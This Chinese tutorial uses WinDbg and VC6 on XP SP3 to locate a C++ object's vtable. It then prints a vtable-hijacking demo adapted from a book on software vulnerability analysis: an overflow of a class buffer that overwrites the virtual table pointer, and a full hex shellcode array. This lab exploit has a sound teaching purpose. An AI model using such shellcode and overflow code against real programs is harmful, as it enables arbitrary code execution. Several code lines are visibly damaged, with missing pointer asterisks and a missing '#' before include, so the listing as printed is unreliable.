这里不说具体语法，仅查找虚表在一个对象的内存中的位置，代码如下：
本文仅调试了xpsp3系统，使用windbg vc6
class noVtableClass{
public:
int number;
char *buf;
};
class withVtableClass{
public:
int number;
char *buf;
virtual void vFunction(){}

};
class vClassJack:public withVtableClass{

virtual void vFunction(){}
};
class vClassTom:public withVtableClass{

virtual void vFunction(){}
};
noVtableClass baseObj;
withVtableClass vbaseObj;
vClassJack vJackObj;
vClassTom vTomObj;
void main(){
baseObj.number=1;
baseObj.buf=(char )1;
vbaseObj.number=2;
vbaseObj.buf=(char )2;
vJackObj.number=21;
vJackObj.buf=(char)21;
vTomObj.number=22;
vTomObj.buf=(char)22;
_asm int 3
}
内存布局如下：
0:000> dd baseObj l4;dd vbaseObj l4;dd vJackObj l4;dd vTomObj l4;
00427d70 00000001 00000001 00422024 00000016
00427d60 00422f7c 00000002 00000002 00000000
00427d88 0042201c 00000015 00000015 00000000
00427d78 00422024 00000016 00000016 00000000
0:000> dd 00422f7c l1
00422f7c 0040100f
0:000> u 40100f
xubiao!ILT+10(?vFunctionwithVtableClassUAEXXZ):
0040100f e9fc000000 jmp xubiao!withVtableClass::vFunction (00401110)
xubiao!ILT+15(??0vClassJackQAEXZ):
以vbaseObj 为例：
对象地址为：00427d60
虚表地址为：00422f7c
虚表中第一个函数地址为：40100f
那么虚表中第一个函数地址可以表示为：&vbaseObj->vtable->vFunction.
在溢出攻击中通过覆盖vtable 来执行shellcode。在vbaseObj中buf移除的话需要覆盖buf-8 处内存地址。
根据以上原理，修改了《oday安全软件漏洞分析技术》（第二版）第6章vtable 代码，使其顺利运行，如下：#include "windows.h"

include "iostream.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1C\x88\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
Failwest overflow, *p;
void main(void)
{
_asm{
;int 3
pusha
lea ebx,shellcode
sub esp,100
push ebx
lea eax,overflow
mov [eax],esp
add esp,100
popa

}

strcpy(overflow.buf,shellcode);//set fake virtual function pointer
p=&overflow;
p->test();

}

图片.png